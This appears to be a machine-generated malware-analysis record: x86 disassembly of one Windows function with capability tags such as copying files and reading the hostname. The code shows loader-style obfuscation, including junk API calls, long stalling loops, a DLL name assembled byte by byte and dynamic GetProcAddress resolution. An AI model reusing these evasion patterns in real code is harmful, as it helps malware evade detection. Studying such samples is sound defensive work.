Function at 0x40c1bb
Capabilities:
Accept command line arguments
Copy file
Get disk size
Get hostname
Move file
Read .ini file
Terminate thread

Disassembly:
mov eax, 0x433977
call fcn.0040fae8
mov eax, 0x307c
call fcn.0040ee70
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
cmp esi, 0x4e5ff3
jge 0x40c1fc
call dword [sym.imp.USER32.dll_GetMessageTime]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetBoundsRect]
push ebx
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
cmp dword [0x7e471c], 0x6b
jne 0x40c233
push 0x30
lea eax, [ebp - 0x78]
push ebx
push eax
mov dword [ebp - 0x7c], ebx
call fcn.004104a0
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x7c]
push eax
push 0x4014a0
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
cmp esi, 0x1b7f5561
jle 0x40c24d
cmp dword [ebp - 0x10], 0xad5cf7
je 0x40c24d
cmp dword [ebp - 0x64], 0xad4c41c
jne 0x40c263
inc esi
mov eax, esi
cdq
cmp edx, 0x6a
jl 0x40c1d6
jg 0x40c263
cmp eax, 0x43cec663
jb 0x40c1d6
cmp dword [0x7e471c], 3
jne 0x40c304
push ebx
push ebx
push ebx
push 0x448d88
call fcn.00410470
push ebx
call fcn.004337b0
push ebx
push ebx
call fcn.00410120
push ebx
call fcn.0040fe50
push ebx
push ebx
call fcn.0040fe00
add esp, 0x28
lea ecx, [ebp - 0x34]
call fcn.0040db81
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x10], esp
push ebx
mov dword [ebp - 4], ebx
call fcn.0040d740
push ebx
lea ecx, [ebp - 0x34]
call fcn.0040e139
cmp dword [0x7e471c], 0x22
jne 0x40c2cd
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumberOfConsoleInputEvents]
push ebx
call fcn.0040fde0
push ebx
push ebx
call fcn.0040fd90
push ebx
call fcn.0040fd60
push ebx
push ebx
call fcn.0040fd90
push ebx
call fcn.0040fd60
push ebx
push ebx
push ebx
call fcn.0040fb10
or dword [ebp - 4], 0xffffffff
add esp, 0x28
lea ecx, [ebp - 0x34]
call fcn.0040de93
xor esi, esi
cmp esi, 0x41c
jne 0x40c319
mov eax, 0x38d6
add dword [0x7e471c], eax
cmp dword [0x7e471c], 0x78
jne 0x40c329
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileType]
inc esi
cmp esi, 0x40b7c8
jl 0x40c306
push dword [0x7e471c]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [0x7e471c]
mov esi, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
xor edi, edi
mov dword [0x7e4118], eax
cmp ecx, ebx
jbe 0x40c3cc
cmp ecx, 0xfe
jne 0x40c373
push ebx
lea eax, [ebp - 0x488]
push eax
push ebx
push 0x4014a8
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push edi
call fcn.0040bfbd
cmp dword [0x7e471c], 0xc66
jne 0x40c3c1
push ebx
call dword [sym.imp.KERNEL32.dll_UnregisterWait]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
lea eax, [ebp - 0x88]
push eax
push 0x4014d0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringW]
lea eax, [ebp - 0x10]
push eax
call esi
push ebx
push 0x4014fc
push 0x401530
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov ecx, dword [0x7e471c]
inc edi
cmp edi, ecx
jb 0x40c356
xor eax, eax
cmp ecx, 0x37
je 0x40c3e9
inc eax
cmp eax, 0x519167
jl 0x40c3ce
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x10], ebx
jmp 0x40c4aa
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumberOfConsoleInputEvents]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push ebx
push ebx
lea eax, [ebp - 0x888]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x1888]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SearchPathW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
push 0x401550
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
call dword [sym.imp.KERNEL32.dll_GetVersion]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1088]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitThread]
mov ecx, dword [0x7e471c]
cmp ecx, 0x15a
jne 0x40c4b5
push ebx
call edi
cmp dword [ebp - 0x10], 0x76069
jne 0x40c4ca
push 0x448d88
call edi
mov dword [0x7e4718], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x1756bb
jl 0x40c4a4
push 0x448d88
push dword [0x7e4718]
mov byte [0x448d88], bl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x448d84], eax
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], 0x1c
jne 0x40c500
call fcn.0040c0bc
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x3debc7
jl 0x40c4f5
push 0x438010
push dword [0x7e471c]
push dword [0x7e4118]
call fcn.0040bf2d
mov dword [ebp - 0x10], ebx
cmp dword [0x7e471c], 0x10
jne 0x40c53b
lea eax, [ebp - 0x18]
push eax
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
cmp dword [ebp - 0x10], 0x1e674
jne 0x40c549
call fcn.0040c0ae
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x3e4e2
jl 0x40c525
mov dword [ebp - 0x10], 0xdd7b3
cmp dword [0x7e471c], 0x21
jne 0x40c576
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push ebx
call dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
dec dword [ebp - 0x10]
jne 0x40c55c
call fcn.0040bd13
push 0x448d88
mov byte [0x448d89], 0x73
mov byte [0x448d8b], 0x6d
mov byte [0x448d8c], 0x67
mov byte [0x448d8a], 0x69
mov byte [0x448d92], 0x6c
mov byte [0x448d8e], 0x32
mov byte [0x448d91], 0x6c
mov byte [0x448d93], bl
mov byte [0x448d8d], 0x33
mov byte [0x448d90], 0x64
mov byte [0x448d88], 0x6d
mov byte [0x448d8f], 0x2e
call edi
cmp dword [0x7e471c], 0x1144
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
jne 0x40c6fa
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
push ebx
lea eax, [ebp - 0x1888]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleFontSize]
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x401554
push ebx
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
push 0x40155c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
push ebx
lea eax, [ebp - 0x1088]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push 0x401564
push 0x401584
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SearchPathW]
push ebx
lea eax, [ebp - 0x2888]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
lea eax, [ebp - 0x18]
push eax
push ebx
lea eax, [ebp - 0x2088]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x1a4]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push ebx
call edi
lea eax, [ebp - 0x10]
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCommandLineA]
call esi
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x888]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SearchPathA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
lea eax, [ebp - 0x3088]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
lea eax, [ebp - 0x1c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
call esi
cmp dword [0x7e471c], 0x1d
jne 0x40c80a
push ebx
lea eax, [ebp - 0x1c]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push ebx
push ebx
lea eax, [ebp - 0x888]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push ebx
lea eax, [ebp - 0x2488]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
push 0x401598
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2a8]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceLanguagesW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
call dword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
push ebx
lea eax, [ebp - 0xc88]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x48]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea eax, [ebp - 0x20]
push eax
call edi
push ebx
push ebx
lea eax, [ebp - 0x1488]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push ebx
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call fcn.0040c0a8
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
xor eax, eax
mov dword fs:[0], ecx
pop ebx
leave
ret